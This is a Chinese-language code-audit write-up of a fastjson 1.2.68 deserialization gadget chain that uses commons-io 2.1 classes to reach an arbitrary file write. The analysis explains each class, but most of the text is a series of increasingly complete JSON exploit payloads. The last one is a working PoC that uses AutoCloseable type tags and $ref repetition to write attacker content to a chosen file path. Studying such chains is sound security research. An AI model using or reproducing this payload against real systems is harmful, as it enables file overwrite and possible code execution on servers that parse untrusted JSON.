0x00 前言
反序列化总纲
主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
这一篇应该是最后一个网上能找到的poc分析了。
0x01 环境
环境选择:
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.1</version>
</dependency>
0x02 调用链分析
1、org.apache.commons.io.input.XmlStreamReader
首先是org.apache.commons.io.input.XmlStreamReader,这个类是不存在无参构造方法,根据fastjson特性会调用最多的参数的构造方法也就是如下所示: 在XmlStreamReader构造方法中,接受四个参数,is,httpContentType,lenient,defaultEncoding,在此构造方法中会调用doRawStream方法: 然后调用getBOMCharsetName->getBOM,在getBOM中调用了inputstream的read方法 截止这里为止,目前的poc为:
{
"@type":"com.alibaba.fastjson.JSONObject",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{inptstream},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
2、org.apache.commons.io.input.TeeInputStream
TeeInputStream的构造方法就是进行赋值:
然后会调用TeeInputStream的read方法,TeeInputStream有两个read,那么会调用哪一个呢 调用哪一个read实际上和XmlStreamReader有关,会先调用BufferedInputStream的read方法 然后调用fill方法
在fill方法中会调用read方法,也就是三参的read 这里read的方法的作用就是讲input的内容写进output中去。 那么现在实际上就是需要两个内容,一个是input,一个是output。
poc:
{
"@type":"com.alibaba.fastjson.JSONObject",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{inputStream},
"branch":{outputStream},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
这里closeBranch会影响到branch的close,所以用true,那么接下来就是找inputStream和outputStream
3、inputStream
3.1 org.apache.commons.io.input.ReaderInputStream
在org.apache.commons.io.input.ReaderInputStream中首先调用构造方法:
然后看一下read方法,在read方法中调用了fillBuffer方法
在fillBuffer方法,可以看到会从this.reader.read中进行读取
3.2 org.apache.commons.io.input.CharSequenceReader
在org.apache.commons.io.input.CharSequenceReader的构造方法会接收一个CharSequenceReader,String 实现了CharSequence 的接口,所以可以直接传入String类型的。 在read方法中会拿到charSequence的内容 那么构造payload
{
"@type":"com.alibaba.fastjson.JSONObject",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{outputStream},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
3.2.1 疑问
这里有一个疑问实际上就是为什么这里的String要这样构造。那么就要来看一下StringCodec
可以看到这里有三个通路可以走,那么这里就要先参考token,token在com\alibaba\fastjson\parser\JSONToken.class
当token==4 实际上就是 字符串的时候会直接返回val。 当token==2 的时候实际上就是说int类型也会直接返回val。
这里用1来进行测试,可以看到也不会出现任何错误。
如果既不是字符串也不是int,那么就会重新走parse进行校验,那么实际上就会走到这里校验,实际上这里可以赋值多种格式的,可以在最后看看哪一种格式最合适。 也可以使用[]的方式进行识别
4.output
4.1 org.apache.commons.io.output.WriterOutputStream
这里有一个前提就是我们知道output是要调用一次write的,那么我们先来看WriterOutputStream的write方法,当writeImmediately为true的时候,会调用flushOutput 在这里调用write方法去获取到output 那么我们接着构造poc
{
"@type":"com.alibaba.fastjson.JSONObject",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{writer},
"charsetName":"UTF-8",
"bufferSize":1024,
"writeImmediately":true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
4.2 org.apache.commons.io.output.FileWriterWithEncoding
在FileWriterWithEncoding中提供了构造方法,通过文件名来返回Writer 接着看initWriter,可以看到这里是直接进行了赋值。 那么最后poc就是
{
"@type":"com.alibaba.fastjson.JSONObject",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"文件位置",
"encoding":"UTF-8",
"append":false
},
"charsetName":"UTF-8",
"bufferSize":1024,
"writeImmediately":true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
# 5. 写文件
这里看了大佬的分析,为什么这里会出现写文件但是内容写不进去,是因为在 这里查了一下isUnderflow就是下溢的意思,isOverflow是上溢的意思,简单的也可以说是isUnderflow的情况下不会做write操作,只有上溢才会做write操作,那就是说我们需要写入足够多的数据才可以。
这里默认private static final int DEFAULT_BYTE_BUFFER_SIZE = 8192; 按照大佬说的,可以传入多次从而达到溢出的目的,采用的方式就是$ref的方式进行迭代。但是实际上最多只能写入8192个字节
poc
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""字符串"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"C:/Users/wdd/Desktop/ls/ls/31.txt",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
参考
- https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
|